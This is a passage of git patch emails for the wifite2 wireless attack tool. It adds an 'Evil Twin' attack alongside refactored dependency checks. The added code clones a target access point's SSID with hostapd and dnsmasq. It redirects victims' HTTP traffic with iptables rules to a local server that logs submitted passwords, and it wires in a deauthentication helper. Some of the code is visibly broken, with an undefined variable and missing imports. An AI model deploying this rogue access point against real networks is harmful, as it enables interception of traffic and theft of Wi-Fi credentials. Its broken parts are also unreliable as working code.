({G}%d{W}/{G}%d{W})' % (idx, len(targets)) + ' starting attacks against {C}%s{W} ({C}%s{W})' % (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown")) - if 'WEP' in t.encryption: + + # TODO: Check if Eviltwin attack is selected. + + if Configuration.use_eviltwin: + pass + + elif 'WEP' in t.encryption: attack = AttackWEP(t) + elif 'WPA' in t.encryption: + # TODO: Move WPS+WPA decision to a combined attack if t.wps: attack = AttackWPS(t) result = False From 0adcd55742085d158feab4e3be9e017f8545bcd4 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 21 Apr 2018 11:34:30 -0400 Subject: [PATCH 47/52] All tools inherit "Dependency". --- wifite/tools/aireplay.py | 2 +- wifite/tools/bully.py | 9 +++++++-- wifite/tools/dependency.py | 7 +++++-- wifite/tools/ifconfig.py | 7 ++++++- wifite/tools/iwconfig.py | 8 +++++++- wifite/tools/macchanger.py | 7 ++++++- wifite/tools/pyrit.py | 6 +++++- wifite/tools/reaver.py | 11 ++++++++--- wifite/tools/tshark.py | 6 +++++- wifite/tools/wash.py | 6 +++++- wifite/util/timer.py | 3 +++ wifite/wifite.py | 27 +++++++++++++++++++++++++-- 12 files changed, 83 insertions(+), 16 deletions(-) diff --git a/wifite/tools/aireplay.py b/wifite/tools/aireplay.py index 2c1ed1e99..580623276 100755 --- a/wifite/tools/aireplay.py +++ b/wifite/tools/aireplay.py @@ -57,7 +57,7 @@ def __str__(self): class Aireplay(Thread, Dependency): dependency_required = True - dependency_name = 'aircrack-ng' + dependency_name = 'aireplay-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, target, attack_type, client_mac=None, replay_file=None): diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index 84e2d2612..17099cd08 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -1,9 +1,10 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency +from .airodump import Airodump from ..model.attack import Attack from ..model.wps_result import CrackResultWPS -from ..tools.airodump import Airodump from ..util.color import Color from ..util.timer import Timer from ..util.process import Process @@ -12,7 +13,11 @@ import os, time, re from threading import Thread -class Bully(Attack): +class Bully(Attack, Dependency): + dependency_required = False + dependency_name = 'bully' + dependency_url = 'https://github.com/aanarchyy/bully' + def __init__(self, target): super(Bully, self).__init__(target) self.total_timeouts = 0 diff --git a/wifite/tools/dependency.py b/wifite/tools/dependency.py index 335b23413..d575f571b 100644 --- a/wifite/tools/dependency.py +++ b/wifite/tools/dependency.py @@ -1,5 +1,5 @@ -from ..util.process import Process -from ..util.color import Color +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- class Dependency(object): required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required'] @@ -16,6 +16,9 @@ def __init_subclass__(cls): @classmethod def fails_dependency_check(cls): + from ..util.color import Color + from ..util.process import Process + if Process.exists(cls.dependency_name): return False diff --git a/wifite/tools/ifconfig.py b/wifite/tools/ifconfig.py index 6d53dfe11..8e206e6e1 100755 --- a/wifite/tools/ifconfig.py +++ b/wifite/tools/ifconfig.py @@ -3,7 +3,12 @@ import re -class Ifconfig(object): +from .dependency import Dependency + +class Ifconfig(Dependency): + dependency_required = True + dependency_name = 'ifconfig' + dependency_url = 'apt-get install net-tools' @classmethod def up(cls, interface, args=[]): diff --git a/wifite/tools/iwconfig.py b/wifite/tools/iwconfig.py index 939f15f22..9cea05d5c 100755 --- a/wifite/tools/iwconfig.py +++ b/wifite/tools/iwconfig.py @@ -1,7 +1,13 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -class Iwconfig(object): +from .dependency import Dependency + +class Iwconfig(Dependency): + dependency_required = True + dependency_name = 'iwconfig' + dependency_url = 'apt-get install wireless-tools' + @classmethod def exists(cls): from ..util.process import Process diff --git a/wifite/tools/macchanger.py b/wifite/tools/macchanger.py index 0619b3f64..8f2675a2d 100755 --- a/wifite/tools/macchanger.py +++ b/wifite/tools/macchanger.py @@ -1,10 +1,15 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..tools.ifconfig import Ifconfig from ..util.color import Color -class Macchanger(object): +class Macchanger(Dependency): + dependency_required = False + dependency_name = 'macchanger' + dependency_url = 'apt-get install macchanger' + is_changed = False @classmethod diff --git a/wifite/tools/pyrit.py b/wifite/tools/pyrit.py index 740da5ef0..3b7d0f7f0 100755 --- a/wifite/tools/pyrit.py +++ b/wifite/tools/pyrit.py @@ -1,11 +1,15 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..util.process import Process import re -class Pyrit(object): +class Pyrit(Dependency): ''' Wrapper for Pyrit program. ''' + dependency_required = False + dependency_name = 'pyrit' + dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki' def __init__(self): pass diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index ca9a27662..69cc8b528 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -1,18 +1,23 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency +from .airodump import Airodump +from .bully import Bully # for PSK retrieval from ..model.attack import Attack from ..config import Configuration from ..util.color import Color from ..util.process import Process from ..util.timer import Timer -from ..tools.airodump import Airodump -from ..tools.bully import Bully # for PSK retrieval from ..model.wps_result import CrackResultWPS import os, time, re -class Reaver(Attack): +class Reaver(Attack, Dependency): + dependency_required = False + dependency_name = 'reaver' + dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' + def __init__(self, target): super(Reaver, self).__init__(target) diff --git a/wifite/tools/tshark.py b/wifite/tools/tshark.py index ff61af0d8..29dc37076 100755 --- a/wifite/tools/tshark.py +++ b/wifite/tools/tshark.py @@ -1,11 +1,15 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..util.process import Process import re -class Tshark(object): +class Tshark(Dependency): ''' Wrapper for Tshark program. ''' + dependency_required = False + dependency_name = 'tshark' + dependency_url = 'apt-get install wireshark' def __init__(self): pass diff --git a/wifite/tools/wash.py b/wifite/tools/wash.py index 0807c7c28..274a4560f 100755 --- a/wifite/tools/wash.py +++ b/wifite/tools/wash.py @@ -1,11 +1,15 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from .dependency import Dependency from ..util.process import Process import json -class Wash(object): +class Wash(Dependency): ''' Wrapper for Wash program. ''' + dependency_required = False + dependency_name = 'wash' + dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' def __init__(self): pass diff --git a/wifite/util/timer.py b/wifite/util/timer.py index 121d7e00f..4f57854b5 100755 --- a/wifite/util/timer.py +++ b/wifite/util/timer.py @@ -24,6 +24,9 @@ def __str__(self): @staticmethod def secs_to_str(seconds): '''Human-readable seconds. 193 -> 3m13s''' + if seconds < 0: + return '-%ds' % seconds + rem = int(seconds) hours = rem / 3600 mins = (rem % 3600) / 60 diff --git a/wifite/wifite.py b/wifite/wifite.py index 1e689c8d1..3961b9b78 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -1,4 +1,4 @@ -#!/usr/bin/python2.7 +#!/usr/bin/python3.7 # -*- coding: utf-8 -*- try: @@ -18,6 +18,18 @@ from .model.handshake import Handshake from .tools.airmon import Airmon from .tools.airodump import Airodump +from .tools.aircrack import Aircrack +from .tools.aireplay import Aireplay +from .tools.ifconfig import Ifconfig +from .tools.iwconfig import Iwconfig +from .tools.hostapd import Hostapd +from .tools.dnsmasq import Dnsmasq +from .tools.bully import Bully +from .tools.reaver import Reaver +from .tools.wash import Wash +from .tools.pyrit import Pyrit +from .tools.tshark import Tshark +from .tools.macchanger import Macchanger import json import os @@ -52,7 +64,18 @@ def main(self): def dependency_check(self): ''' Check that required programs are installed ''' - apps = [Airmon, Airodump] #, Iwconfig, Ifconfig, Aircrack, Aireplay, Airodump] + apps = [ + # Aircrack + Airmon, Airodump, Aircrack, Aireplay, Airodump, + # wireless/net tools + Iwconfig, Ifconfig, + # WPS + Reaver, Bully, + # Cracking/handshakes + Pyrit, Tshark, + # Misc + Macchanger + ] if Configuration.use_eviltwin: apps.extend([Hostapd, Dnsmasq, Iptables]) From 9a12e38ddaed2b57d24ded67eda385b13bcb6bb9 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 21 Apr 2018 11:36:39 -0400 Subject: [PATCH 48/52] Dependency cleanup --- wifite/wifite.py | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/wifite/wifite.py b/wifite/wifite.py index 3961b9b78..ca7578ecd 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -16,20 +16,6 @@ from .attack.wps import AttackWPS from .model.result import CrackResult from .model.handshake import Handshake -from .tools.airmon import Airmon -from .tools.airodump import Airodump -from .tools.aircrack import Aircrack -from .tools.aireplay import Aireplay -from .tools.ifconfig import Ifconfig -from .tools.iwconfig import Iwconfig -from .tools.hostapd import Hostapd -from .tools.dnsmasq import Dnsmasq -from .tools.bully import Bully -from .tools.reaver import Reaver -from .tools.wash import Wash -from .tools.pyrit import Pyrit -from .tools.tshark import Tshark -from .tools.macchanger import Macchanger import json import os @@ -63,10 +49,25 @@ def main(self): def dependency_check(self): ''' Check that required programs are installed ''' + from .tools.airmon import Airmon + from .tools.airodump import Airodump + from .tools.aircrack import Aircrack + from .tools.aireplay import Aireplay + from .tools.ifconfig import Ifconfig + from .tools.iwconfig import Iwconfig + from .tools.hostapd import Hostapd + from .tools.dnsmasq import Dnsmasq + from .tools.iptables import Iptables + from .tools.bully import Bully + from .tools.reaver import Reaver + from .tools.wash import Wash + from .tools.pyrit import Pyrit + from .tools.tshark import Tshark + from .tools.macchanger import Macchanger apps = [ # Aircrack - Airmon, Airodump, Aircrack, Aireplay, Airodump, + Airmon, Airodump, Aircrack, Aireplay, # wireless/net tools Iwconfig, Ifconfig, # WPS From 94dd02b3ab823829bd55d1ede094d5d9d1b6c6af Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 21 Apr 2018 11:44:01 -0400 Subject: [PATCH 49/52] Adding eviltwin tools, updated args. --- wifite/args.py | 2 +- wifite/attack/eviltwin.py | 143 ++++++++++++++++++++++++++++++++ wifite/tools/dnsmasq.py | 67 +++++++++++++++ wifite/tools/eviltwin_server.py | 64 ++++++++++++++ wifite/tools/hostapd.py | 74 +++++++++++++++++ wifite/tools/iptables.py | 47 +++++++++++ wifite/wifite.py | 3 +- 7 files changed, 398 insertions(+), 2 deletions(-) create mode 100644 wifite/attack/eviltwin.py create mode 100755 wifite/tools/dnsmasq.py create mode 100644 wifite/tools/eviltwin_server.py create mode 100755 wifite/tools/hostapd.py create mode 100644 wifite/tools/iptables.py diff --git a/wifite/args.py b/wifite/args.py index e6059fdd3..ef71b9455 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -148,7 +148,7 @@ def _add_global_args(self, glob): def _add_eviltwin_args(self, group): - group.add_argument('-ev', + group.add_argument('-et', '--eviltwin', action='store_true', dest='use_eviltwin', diff --git a/wifite/attack/eviltwin.py b/wifite/attack/eviltwin.py new file mode 100644 index 000000000..2a149cec2 --- /dev/null +++ b/wifite/attack/eviltwin.py @@ -0,0 +1,143 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import time + +from ..model.attack import Attack +from ..tools.ifconfig import Ifconfig +from ..tools.iptables import Iptables +from ..tools.eviltwin_server import EviltwinServer +from ..util.color import Color +from ..config import Configuration + +class EvilTwinAttack(Attack): + def __init__(self, target): + super(EvilTwinAttack, self).__init__(target) + self.target = target + self.success = False + self.completed = False + self.crack_result = None + + self.crack_result = None + self.hostapd = None + self.dnsmasq = None + + self.deauther = None # Mdk3Deauther? + + + def success_callback(self, crack_result): + # TODO: Stop all processes & reset IP tables + self.crack_result = crack_result + self.success = True + self.completed = True + + + def error_callback(self, error_msg): + self.completed = True + + + def run(self): + # Take interface out of monitor mode + raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81') + + monitor_interface = Configuration.interface + (_, base_interface) = Airmon.stop(monitor_interface) + + Ifconfig.up(base_interface, ['10.0.0.1/24']) + + self.configure_iptables(base_interface) + + self.hostapd = Hostapd(self.target) + self.hostapd.start(base_interface) + + server = EviltwinServer() + server.serve_forever() + + try: + while not self.completed: + time.sleep(1) + except KeyboardInterrupt as e: + self.cleanup() + raise e + + if self.success: + print status, save + return + + if self.error_msg: + raise Exception(self.error_msg) + + + def cleanup(self): + ''' + TODO: + * Kill all processes + * Delete config files from temp + * Reset iptables + * Reset interface state? + ''' + pass + + def set_port_forwrading(self, enabled=True): + # echo "1" > /proc/sys/net/ipv4/ip_forward + # TODO: Are there other ways to do this? + with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward: + ip_forward.write('1' if enabled else '0') + + + def configure_iptables(self, base_interface): + # iptables -N internet -t mangle + Iptables.new_chain('internet', 'mangle') + + #iptables -t mangle -A PREROUTING -j internet + Iptables.append('PREROUTING', table='mangle', rules=[ + '-j', 'internet' + ]) + + #iptables -t mangle -A internet -j MARK --set-mark 99 + Iptables.append('PREROUTING', table='mangle', rules=[ + '-j', 'MARK', + '--set-mark', '99', + ]) + + #iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1 + Iptables.append('PREROUTING', table='nat', rules=[ + '--match', 'mark', + '--mark', '99', + '--protocol', 'tcp', + '--dport', '80', + '--jump', 'DNAT', + '--to-destination', '10.0.0.1', + ]) + + self.set_port_forwarding(enabled=True) + + #iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT + Iptables.append('FORWARD', rules=[ + '--in-interface', 'eth0', + '--out-interface', base_interface, + '--match', 'state', + '--state', 'ESTABLISHED,RELATED', + '--jump', 'ACCEPT', + ]) + + #iptables -A FORWARD -m mark --mark 99 -j REJECT + Iptables.append('FORWARD', rules=[ + '--match', 'mark', + '--mark', '99', + '--jump', 'REJECT', + ]) + + #iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT + Iptables.append('FORWARD', rules=[ + '--in-interface', base_interface, + '--out-interface', 'eth0', + '--jump', 'ACCEPT', + ]) + + #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE + Iptables.append('POSTROUTING', table='nat', rules=[ + '--out-interface', 'eth0', + '--jump', 'MASQUERADE', + ]) + diff --git a/wifite/tools/dnsmasq.py b/wifite/tools/dnsmasq.py new file mode 100755 index 000000000..9a5d9785f --- /dev/null +++ b/wifite/tools/dnsmasq.py @@ -0,0 +1,67 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import os + +from .dependency import Dependency +from ..util.process import Process +from ..config import Configuration + +class Dnsmasq(Dependency): + '''Wrapper for dnsmasq program.''' + dependency_required = False + dependency_name = 'dnsmasq' + dependency_url = 'apt-get install dnsmasq' + + def __init__(self, interface): + self.interface = interface + self.pid = None + + + def create_config_file(self): + config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf') + if os.path.exists(config_file): + os.remove(config_file) + + with open(config_file, 'w') as config: + config.write('interface={}\n'.format(self.interface)) + config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n') + config.write('dhcp-option=3,10.0.0.1\n') + config.write('dhcp-option=6,10.0.0.1\n') + config.write('server=8.8.8.8\n') + config.write('log-queries\n') + config.write('log-dhcp\n') + return config_file + + + def start(self): + config_file = self.create_config_file() + + # Stop already-running dnsmasq process + self.killall() + + # Start new dnsmasq process + self.pid = Process([ + 'dnsmasq', + '-C', config_file + ]) + + + def stop(self): + # Kill dnsmasq process + if self.pid: + self.pid.interrupt() + self.killall() + # TODO: Wait until dnsmasq is completely stopped. + + + def check(self): + # TODO: Check if dnsmasq is still running, if there's any errors in the logs, etc. + if self.pid.poll() is not None: + # Process stopped + pass + + + def killall(self): + Process(['killall', 'dnsmasq']).wait() + diff --git a/wifite/tools/eviltwin_server.py b/wifite/tools/eviltwin_server.py new file mode 100644 index 000000000..82885aed0 --- /dev/null +++ b/wifite/tools/eviltwin_server.py @@ -0,0 +1,64 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler + +class EviltwinServer(HTTPServer): + + def __init__(self, success_callback, port=80): + super(EviltwinServer, self).__init__('', port, EviltwinRequestHandler) + + + def serve_forever(self): + super(EviltwinServer, self).serve_forever() + + +class EviltwinRequestHandler(BaseHTTPRequestHandler): + + def __init__(self, success_callback): + self.success_callback = success_callback + + def do_GET(self): + request_path = self.path + + # TODO: URL mappings to load specific pages. + + print("\n----- Request Start ----->\n") + print(request_path) + print(self.headers) + print("<----- Request End -----\n") + + self.send_response(200) + self.send_header("Set-Cookie", "foo=bar") + + def do_POST(self): + request_path = self.path + + # TODO: If path includes router password, call self.success_callback + # TODO: Verify router passwords via separate interface? + + print("\n----- Request Start ----->\n") + print(request_path) + + request_headers = self.headers + content_length = request_headers.getheaders('content-length') + length = int(content_length[0]) if content_length else 0 + + print(request_headers) + print(self.rfile.read(length)) + print("<----- Request End -----\n") + + self.send_response(200) + + do_PUT = do_POST + do_DELETE = do_GET + + +if __name__ == "__main__": + parser = OptionParser() + parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n" + "Run:\n\n" + " reflect") + (options, args) = parser.parse_args() + + main() diff --git a/wifite/tools/hostapd.py b/wifite/tools/hostapd.py new file mode 100755 index 000000000..d3a786cab --- /dev/null +++ b/wifite/tools/hostapd.py @@ -0,0 +1,74 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import re +import os + +from .dependency import Dependency +from ..config import Configuration + +class Hostapd(Dependency): + process_name = 'hostapd' + + dependency_required = False + dependency_name = process_name + dependency_url = 'apt-get install hostapd' + + @classmethod + def exists(cls): + return Process.exists(cls.process_name) + + + def __init__(self, target, interface): + self.target = target + self.interface = interface + self.pid = None + # Save hostapd state? + + + def create_config_file(self): + if not self.target.essid_known: + raise Exception('Cannot start hostapd if target has unknown SSID') + + config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf')) + + with open(config_file, 'w') as config: + config.write('driver=nl80211\n') + config.write('ssid={}\n'.format(self.target.essid)) + config.write('hw_mode=g\n') # TODO: support 5ghz + config.write('channel={}\n'.format(self.target.channel)) + config.write('logger_syslog=-1\n') + config.write('logger_syslog_level=2\n') + + return config_file + + + def start(self): + config_file = self.create_config_file() + + self.killall() + + self.pid = Process([ + self.process_name, + '-C', config_file, + '-i', self.interface + ]) + + + def stop(self): + if self.pid: + self.pid.interrupt() + self.killall() + # TODO: Wait until hostapd is completely stopped. + + + def check(self): + # TODO: Check if hostapd is still running, if there's any errors in the logs, etc. + if self.pid.poll() is not None: + # Process stopped + pass + + + def killall(self): + Process(['killall', self.process_name]).wait() + diff --git a/wifite/tools/iptables.py b/wifite/tools/iptables.py new file mode 100644 index 000000000..060997435 --- /dev/null +++ b/wifite/tools/iptables.py @@ -0,0 +1,47 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import re + +from .dependency import Dependency + +class Iptables(Dependency): + process_name = 'iptables' + + dependency_required = False + dependency_name = process_name + dependency_url = 'apt-get install iptables' + + @classmethod + def exists(cls): + return Process.exists(cls.process_name) + + + @classmethod + def __exec(cls, args, expect_return_code=0): + if type(args) is str: + args = args.split(' ') + + command = [cls.process_name] + args + + pid = Process(command) + pid.wait() + if expect_return_code and pid.poll() != 0: + raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr())) + + + @classmethod + def new_chain(cls, chain_name, table): + command = ['-N', name, '-t', table] + cls.__exec(command) + + + @classmethod + def append(cls, chain, table=None, rules=[]): + args = [] + if table is not None: + args.extend(['-t', table]) + args.extend(['-A', chain]) + args.extend(rules) + cls.__exec(args) + diff --git a/wifite/wifite.py b/wifite/wifite.py index ca7578ecd..e04df9e14 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -14,6 +14,7 @@ from .attack.wep import AttackWEP from .attack.wpa import AttackWPA from .attack.wps import AttackWPS +from .attack.eviltwin import EvilTwinAttack from .model.result import CrackResult from .model.handshake import Handshake @@ -158,7 +159,7 @@ def run(self): # TODO: Check if Eviltwin attack is selected. if Configuration.use_eviltwin: - pass + attack = EvilTwinAttack(t) elif 'WEP' in t.encryption: attack = AttackWEP(t) From 1dcb23659b980c52accc8960d2c2c2685bb2853a Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 13 May 2018 12:39:28 -0400 Subject: [PATCH 50/52] Fixing eviltwin. Lots of changes. --- wifite/args.py | 10 +- wifite/attack/eviltwin.py | 171 +++++++++++++++++++++++--------- wifite/config.py | 69 +++++++++++-- wifite/tools/airmon.py | 38 ++++--- wifite/tools/dnsmasq.py | 34 ++++--- wifite/tools/eviltwin_server.py | 68 ++++++++----- wifite/tools/hostapd.py | 55 ++++++---- wifite/tools/iptables.py | 32 +++++- wifite/tools/iwconfig.py | 2 +- wifite/util/deauther.py | 56 +++++++++++ wifite/wifite.py | 8 +- 11 files changed, 418 insertions(+), 125 deletions(-) create mode 100644 wifite/util/deauther.py diff --git a/wifite/args.py b/wifite/args.py index ef71b9455..a4ab14d2d 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -153,7 +153,15 @@ def _add_eviltwin_args(self, group): action='store_true', dest='use_eviltwin', help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})')) - # TODO: Args to specify deauth interface, server port, etc. + + group.add_argument('-eti', + '--evitwin-iface', + type=str, + dest='eviltwin_iface', + metavar='[iface]', + default=None, + help=Color.s('Wireless interface to use when creating the Fake AP (evil twin)')) + # TODO: Args to specify other options (server port, etc). def _add_wep_args(self, wep): diff --git a/wifite/attack/eviltwin.py b/wifite/attack/eviltwin.py index 2a149cec2..a03d6d455 100644 --- a/wifite/attack/eviltwin.py +++ b/wifite/attack/eviltwin.py @@ -4,88 +4,171 @@ import time from ..model.attack import Attack +from ..tools.airodump import Airodump +from ..tools.dnsmasq import Dnsmasq +from ..tools.hostapd import Hostapd from ..tools.ifconfig import Ifconfig from ..tools.iptables import Iptables from ..tools.eviltwin_server import EviltwinServer from ..util.color import Color +from ..util.deauther import Deauther from ..config import Configuration class EvilTwinAttack(Attack): - def __init__(self, target): + ''' + Monitor-mode card should be used for deauthing (packet injection). + Other card can be put into AP mode. + ''' + + def __init__(self, target, deauth_iface, ap_iface): super(EvilTwinAttack, self).__init__(target) + + # Args self.target = target + self.deauth_iface = deauth_iface + self.ap_iface = ap_iface + + # State self.success = False self.completed = False self.crack_result = None + self.error_msg = None - self.crack_result = None + # Processes self.hostapd = None self.dnsmasq = None + self.webserver = None + self.deauther = None + + + def run(self): + #raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81') + + # Start airodump on deuath iface, wait for target, etc. + try: + + with Airodump(channel=self.target.channel, + target_bssid=self.target.bssid, + skip_wps=True, # Don't check for WPS-compatibility + output_file_prefix='airodump') as airodump: + Color.clear_line() + Color.p('\r{+} {O}waiting{W} for target to appear...') + airodump_target = self.wait_for_target(airodump) + Color.clear_entire_line() + + self.pattack(airodump_target, 'setting up {C}%s{W}' % self.ap_iface) + Ifconfig.up(self.ap_iface, ['10.0.0.1/24']) + Color.clear_entire_line() + + self.pattack(airodump_target, 'configuring {C}iptables{W}') + self.configure_iptables(self.ap_iface) + Color.clear_entire_line() + + self.pattack(airodump_target, 'enabling {C}port forwarding{W}') + self.set_port_forwarding(enabled=True) + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}hostapd{W} on {C}%s{W}' % self.ap_iface) + self.hostapd = Hostapd(self.target, self.ap_iface) + self.hostapd.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}dnsmasq{W} on {C}%s{W}' % self.ap_iface) + self.dnsmasq = Dnsmasq(self.ap_iface) + self.dnsmasq.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}evil webserver{W}...') + self.webserver = EviltwinServer(self.success_callback, self.error_callback) + self.webserver.start() + Color.clear_entire_line() + + self.pattack(airodump_target, 'starting {C}deauther{W}...') + self.deauther = Deauther(self.deauth_iface, self.target) + #self.deauther.start() + Color.clear_entire_line() + + while not self.completed: + time.sleep(1) + airodump_target = self.wait_for_target(airodump) + + # TODO: Check hostapd, dnsmasq, and webserver statistics + self.pattack(airodump_target, 'waiting for clients') + + # Update deauther with latest client information + self.deauther.update_target(airodump_target) + + except KeyboardInterrupt: + # Cleanup + Color.pl('\n{!} {O}Interrupted{W}') + + if self.success: + # TODO: print status & save + self.cleanup() + return + + if self.error_msg: + self.cleanup() + raise Exception(self.error_msg) + + self.cleanup() - self.deauther = None # Mdk3Deauther? + + def pattack(self, airodump_target, status): + Color.pattack('EvilTwin', airodump_target, 'attack', status) def success_callback(self, crack_result): - # TODO: Stop all processes & reset IP tables + # Called by webserver when we get a password self.crack_result = crack_result self.success = True self.completed = True - def error_callback(self, error_msg): - self.completed = True + def status_callback(self, status_message): + # Called by webserver on status update + pass - def run(self): - # Take interface out of monitor mode - raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81') - - monitor_interface = Configuration.interface - (_, base_interface) = Airmon.stop(monitor_interface) + def error_callback(self, error_msg): + # Called by webserver on error / failure + self.completed = True + self.error_msg = error_msg - Ifconfig.up(base_interface, ['10.0.0.1/24']) - self.configure_iptables(base_interface) + def cleanup(self): + if self.dnsmasq: + self.dnsmasq.stop() - self.hostapd = Hostapd(self.target) - self.hostapd.start(base_interface) + if self.hostapd: + self.hostapd.stop() - server = EviltwinServer() - server.serve_forever() + if self.webserver: + self.webserver.stop() + # From https://stackoverflow.com/a/268686 - try: - while not self.completed: - time.sleep(1) - except KeyboardInterrupt as e: - self.cleanup() - raise e + if self.deauther: + self.deauther.stop() - if self.success: - print status, save - return + self.set_port_forwarding(enabled=False) - if self.error_msg: - raise Exception(self.error_msg) + Iptables.flush() #iptables -F + Iptables.flush(table='nat') #iptables -t nat -F + Iptables.flush(table='mangle') #iptables -t mangle -F + Iptables.delete_chain() #iptables -X + Iptables.delete_chain(table='nat') #iptables -t nat -X + Iptables.delete_chain(table='mangle') #iptables -t mangle -X - def cleanup(self): - ''' - TODO: - * Kill all processes - * Delete config files from temp - * Reset iptables - * Reset interface state? - ''' - pass - def set_port_forwrading(self, enabled=True): + def set_port_forwarding(self, enabled=True): # echo "1" > /proc/sys/net/ipv4/ip_forward - # TODO: Are there other ways to do this? + # TODO: Are there other/better ways to do this? with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward: ip_forward.write('1' if enabled else '0') - def configure_iptables(self, base_interface): + def configure_iptables(self, interface): # iptables -N internet -t mangle Iptables.new_chain('internet', 'mangle') @@ -110,12 +193,10 @@ def configure_iptables(self, base_interface): '--to-destination', '10.0.0.1', ]) - self.set_port_forwarding(enabled=True) - #iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT Iptables.append('FORWARD', rules=[ '--in-interface', 'eth0', - '--out-interface', base_interface, + '--out-interface', interface, '--match', 'state', '--state', 'ESTABLISHED,RELATED', '--jump', 'ACCEPT', @@ -130,7 +211,7 @@ def configure_iptables(self, base_interface): #iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT Iptables.append('FORWARD', rules=[ - '--in-interface', base_interface, + '--in-interface', interface, '--out-interface', 'eth0', '--jump', 'ACCEPT', ]) diff --git a/wifite/config.py b/wifite/config.py index 1ac19ad16..4fe986485 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -4,6 +4,8 @@ import os from .util.color import Color +from .util.input import raw_input +from .tools.iwconfig import Iwconfig from .tools.macchanger import Macchanger class Configuration(object): @@ -55,8 +57,7 @@ def initialize(cls, load_interface=True): # EvilTwin variables cls.use_eviltwin = False cls.eviltwin_port = 80 - cls.eviltwin_deauth_iface = None - cls.eviltwin_fakeap_iface = None + cls.eviltwin_iface = None # WEP variables cls.wep_filter = False # Only attack WEP networks @@ -122,9 +123,52 @@ def get_monitor_mode_interface(cls): if cls.random_mac: Macchanger.random() - @staticmethod - def get_wireless_interface(): - pass + @classmethod + def get_eviltwin_interface(cls): + if cls.eviltwin_iface is None: + Color.pl('\n{+} {G}Evil Twin attack{W}') + Color.p('{+} looking for wireless interfaces in "Managed" mode... ') + + ifaces = Iwconfig.get_interfaces(mode='Managed') + + if len(ifaces) == 0: + Color.pl('\n{!} {O}no other wireless interfaces in "Managed" mode!{W}') + raise Exception('eviltwin attack requires two wireless cards (1 monitor-mode, 1 managed-mode)') + + Color.clear_entire_line() + + while True: + # Ask user to select eviltwin interface + Color.pl(' select the interface for the {C}evil twin{W} access point:') + for index, iface in enumerate(ifaces, start=1): + Color.pl(' {G}%d{W}. {C}%s{W}' % (index, iface)) + + question = '{+} enter number ({G}' + if len(ifaces) == 1: + question += '1' + else: + question += '1-%d' % len(ifaces) + question += '{W}): ' + selection = raw_input(Color.s(question)) + + if selection.strip() in ifaces: + selection = str(ifaces.index(selection.strip()) + 1) + + elif not selection.isdigit(): + Color.pl('\n{!} {O}selection must be numeric{W}') + continue + + selection = int(selection) + + if selection < 1 or selection > len(ifaces): + Color.pl('\n{!} {O}selection must be between {R}1{O} and {R}%d{W}' % len(ifaces)) + continue + + break + + cls.eviltwin_iface = ifaces[selection - 1] + + return cls.eviltwin_iface @classmethod def load_from_arguments(cls): @@ -175,10 +219,23 @@ def load_from_arguments(cls): cls.kill_conflicting_processes = True Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}') + # EvilTwin + if args.eviltwin_iface: + # Check that eviltwin_iface exists in iwconfig + existing_ifaces = Iwconfig.get_interfaces() 